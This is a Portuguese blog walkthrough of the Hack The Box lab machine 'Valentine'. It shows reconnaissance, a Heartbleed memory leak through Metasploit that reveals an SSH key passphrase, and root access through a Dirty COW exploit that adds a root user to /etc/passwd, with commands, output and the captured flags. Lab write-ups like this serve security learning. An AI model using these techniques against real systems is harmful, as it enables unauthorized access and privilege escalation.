[ Inicio ] [ Hacking ] [ CTFs ] [ Rant ]
.:: Brenn0 Weblog ::.

Título : Valentine [Hack The Box] - Hearthbleed
Autor : brennords
Data : 30/07/2018
            

Essa máquina foi bem fácil e básica, bastou ser um bom script kiddie para conseguir um root fácil. Demorei muito mais tempo que o necessário por não ter percebido algo óbvio que irei citar ao longo do post. A parte mais interessante foi poder explorar e ver na prática a falha Hearthbleed.

Acessando o IP da Valentine no chrome nos leva a uma página estática com uma imagem familiar para quem ficou ligado em notícias de segurança nos últimos tempos. Nela tem a logo de uma vulnerabilidade bem pop e sacar isso já daria meio caminho andado para a flag do user.

Rodei o nmap (nmap -v -A -oN nmap.txt 10.10.10.79) e vi a porta 80/443 com o apache/ssl e a 22 com ssh. E ao mesmo tempo que o nmap, meu dirbuster achou o diretório http://10.10.10.79/dev.

No diretório /dev haviam os arquivos: hype_key e notes.txt.

No notes.txt o conteúdo era:

To do:

1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.

Nesse momento ainda não sabia que porra poderia ser o decoder/encoder, mas guardei essa informação.

Já em hype_key tinha um bocado de hexadecimais que, ao usar esse site http://www.unit-conversion.info/texttools/hexadecimal/, converti para algo bastante interessante:

Uma chave privada! Com certeza deve servir para alguma coisa mas ainda não dava para saber.

Então guardei a chave e abri o metasploit porque tive preguiça. Se você precisou se perguntar a razão de eu abrir o metasploit é porque não se ligou que a imagem da página principal faz referência ao “heartbleed bug”.

Voltando a meu metasploit, peguei o exploit do heartbleed, configurei o alvo e outros pequenos detalhes que deixo para você adivinhar e rodei sem mesmo precisar checar e o servidor começou a cuspir conteúdo da memória como deveria. Rodei o exploit mais de uma vez procurando por algo facilmente vísivel. Então em meio a um monte de porcaria eu vi isso:

......Z..PN..v............2..{p.]4W.$:..f.....".!.9.8.........5.............................3.2.....E.D...../...A.......................................ux i686; rv:45.0) Gecko/20100101 Firefox/45.0..Referer: https://127.0.0.1/decode.php..Content-Type: application/x-www-form-urlencoded..Content-Length: 42....$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==..U!....c.@..Au..'...............cation/x-www-form-urlencoded..Content-Length: 9....text=asas...K..<y...v.._.

Aparentava ser uma requisição http para o tal /decode.php e mais embaixo há a variavel $text com o base64: aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==

Entrando em http://10.10.10.79/decode.php vi que era um simples decodificador para base64. Era disso que o arquivo notes.txt fazia menção e a requisição faz total sentido. Usei o mesmo para decodificar o valor que peguei com o exploit e obtive o resultado: heartbleedbelievethehype

Temos em mãos uma chave privada e um valor obtido explorando o servidor. O que fazer?

Assim que vi a chave privada pensei em usar direto no servidor SSH, mas sem saber o nome de usuário não rolava. Fiquei viajando por um tempo até perceber o nome do arquivo onde estava a chave em hexadecimal: hype_key.

A chave deveria pertencer ao hype e heartbleedbelievethehype poderia muito bem ser um password.

brenno@budweiser ~/D/c/h/valentine> ssh -i new2/hype.txt hype@10.10.10.79
Enter passphrase for key 'new2/hype.txt': 
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sun Jul 15 18:26:44 2018 from 10.10.15.248

Boa! Hora de pegar a flag do user.txt

hype@Valentine:~$ cd Desktop/
hype@Valentine:~/Desktop$ ls
user.txt
hype@Valentine:~/Desktop$ cat user.txt
e6710a5464769fd5fcd216e076961750

A escalação de privilégios foi bem simples porque a máquina tava rodando um kernel desatualizado:

hype@Valentine:~$ uname -r
3.2.0-23-generic

Verificar o kernel é quase sempre a primeira coisa que faço porque caso encontre um desses é fácilimo conseguir root. Com uma pesquisa rápida no Google por essa versão se descobre que é vulnerável ao famigerado dirtycow.

Então, usei esta versão do exploit: https://ro.0day.today/exploit/26430 e w00t w00t. Se for usar, não esqueça de modificar pelo amor de deus.

Compilando no meu super ultra secreto diretório:

hype@Valentine:/tmp/.brennords$ gcc -pthread poc.c -o dir -lcrypt

Rodando e escolhendo um password seguro para uma conta que tem privilégios root:

hype@Valentine:/tmp/.brennords$ ./dir
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 
Complete line:
ieatworld:iePFiy4QljHQk:0:0:pwned:/root:/bin/bash

mmap: 7ff5325d2000

madvise 0

ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'ieatworld' and the password '123457'.

DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'ieatworld' and the password '123457'.

Hora de logar e pegar a flag root:

hype@Valentine:/tmp/.brennords$ 
hype@Valentine:/tmp/.brennords$ 
hype@Valentine:/tmp/.brennords$ su ieatworld
Password: 
ieatworld@Valentine:/tmp/.brennords# whoami
ieatworld
ieatworld@Valentine:/tmp/.brennords# ls /root
curl.sh  root.txt
ieatworld@Valentine:/tmp/.brennords# cat /root/root.txt
f1bb6d759df1f272914ebbc9ed7765b2

E só por curiosidade, que tal descobrir o que tem nesse arquivo curl?

ieatworld@Valentine:/tmp/.brennords# cat /root/curl.sh
/usr/bin/curl -i -s -k  -X 'POST' \
    -H 'User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0' -H 'Referer: https://127.0.0.1/decode.php' -H 'Content-Type: application/x-www-form-urlencoded' \
    -b 'PHPSESSID=n12acqnj0efoq5etm5d12k6j85' \
    --data-binary $'text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==' \
    'https://127.0.0.1/decode.php' >  /dev/null 2>&1

Olha só, é a requisição que peguei com o hearthbleed. Provavelmente havia um cronjob rodando esse script e tal.

E com dois exploits de vulnerabilidades pops e um pouco de atenção foi possível obter as flags.